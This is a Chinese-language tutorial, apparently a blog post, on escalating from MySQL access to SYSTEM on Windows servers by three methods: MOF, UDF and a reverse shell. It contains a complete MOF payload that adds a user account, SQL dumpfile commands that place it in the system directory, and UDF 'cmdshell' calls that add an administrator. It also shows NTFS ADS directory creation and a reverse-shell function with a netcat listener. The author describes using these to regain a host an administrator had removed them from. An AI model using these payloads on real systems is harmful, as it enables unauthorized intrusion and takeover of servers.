利用mysql的几种提权方式
利用mysql的几种提权方式
mof提权
1.原理 在windows平台下，c:/windows/system32/wbem/mof/nullevt.mof这个文件会每间隔一段时间（很短暂）就会以system权限执行一次，所以，只要我们将我们先要做的事通过代码存储到这个mof文件中，就可以实现权限提升。
2.利用条件
- mysql用户具有root权限(对上面那个目录可写）
- 关闭了secure-file-priv
3.利用方式 下面是一段写好了的mof利用代码
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select \ From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
这段代码只是在目标系统上添加了一个admin用户，并没有添加到管理员组（如果需要自行查找，网上很多），将这个文件存储为nullevt.mof上传到任意一个你在目标机上可写的路径(当然，如果你直接可以写到c:/windows/system32/wbem/mof/就更好了)，接下来我们就可以直接执行sql语句把该文件写入到目标路径：
select load_file('你上传的路径/nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';
执行完后，你可以在你的webshell里执行使用net user查看是否多了一个admin用户，如果有则说明可以利用，否则就不需要继续了。
注：经过我在win2003测试，没有成功利用。但是网上很多资料都提到win2003很容易利用，而更高版本的就很难成功了，所以大家遇到win2003可以试一下这种提权方式
udf提权
1.原理 UDF提权是利用MYSQL的自定义函数功能，将MYSQL账号转化为系统system权限
2.利用条件
- Mysql版本大于5.1版本udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下。
- Mysql版本小于5.1版本。udf.dll文件在Windows2003下放置于c:\windows\system32，在windows2000下放置于c:\winnt\system32。
- 掌握的mysql数据库的账号有对mysql的insert和delete权限以创建和抛弃函数，一般以root账号为佳，具备root账号所具备的权限的其它账号也可以。
- 可以将udf.dll写入到相应目录的权限。
注：关于plugin目录，可在mysql中执行
show variables like '%plugin%';
进行查看，这个目录也就是dll文件需要导入的目录
3.利用方式
- 将dll文件导入到相应目录，如果导入错误会产生can`t open shared library错误
- 创建自定义函数
create function cmdshell returns string soname 'udf.dll';
select cmdshell('net user miao zjicmisa.org /add');
select cmdshell('net localgroup administrators miao /add');
drop function cmdshell; 删除函数
delete from mysql.func where name='cmdshell' 删除函数
注意这里的函数名应该与dll文件中的函数名一致。
是不是感觉挺麻烦的，首先找dll文件就是一个问题，其实这个dll文件完全可以从带有udf提权功能的大马的源码中去找。当然我们也可以利用别人写好的工具，网络上有很多关于udf提权的利用脚本。
我用的这个脚本还不错
mark
下面是我使用udf拿下之前一台被管理员踢出去的主机的截图
mark
mark 成功添加了test用户到管理员组
mark 当然关于udf有一个特别需要注意的问题，就是5.1以上版本默认情况下/lib/plugin目录是不存在的，还好有大牛已经想出了解决办法——NTFS ADS流来创建文件夹（该方法我们测试过）
select @@basedir;
//查找到mysql的目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION';
//利用NTFS ADS创建lib目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';
//利用NTFS ADS创建plugin目录
上面的目录应该是相应的mysql目录，读者在测试时应该根据情况进行修改
注：udf提权也是一般应用于win2000、win2003系统
mysql反弹shell提权
其实这也属于udf提权，只不过应用场景不同，比如现在我们没有webshell但是我们却有偶然得到了mysql的root密码（弱口令等），恰巧目标机的数据库可以外联或者有phpmyadmin，那么我们就可以把上面udf.dll文件的内容先插入到数据表中，然后再导出到/lib/plugin目录。
注：这里我看到网上的资料都是讲mysql.txt导入到数据库中，mysql.txt也就是udf.dll文件的2进制转换为16进制，这里我不太清楚为什么需要转成十六进制，但是我知道如果udf.dll文件成功导入到plugin目录是可以成功反弹shell的
- 然后创建函数backshell
CREATE FUNCTION backshell RETURNS STRING SONAME 'mysqldll.dll'; //创建backshell
- 在具备独立主机的服务器上执行监听
nc -vv -l -p 12345
- 最后就是执行backshell
select backshell("你的ip地址",12345);
mark 上图是我在win2003的测试结果，但是我是通过webshell将udf.dll导入plugin目录完成的
- 如果成功返回了shell则说明成功了，我们就可以添加用户了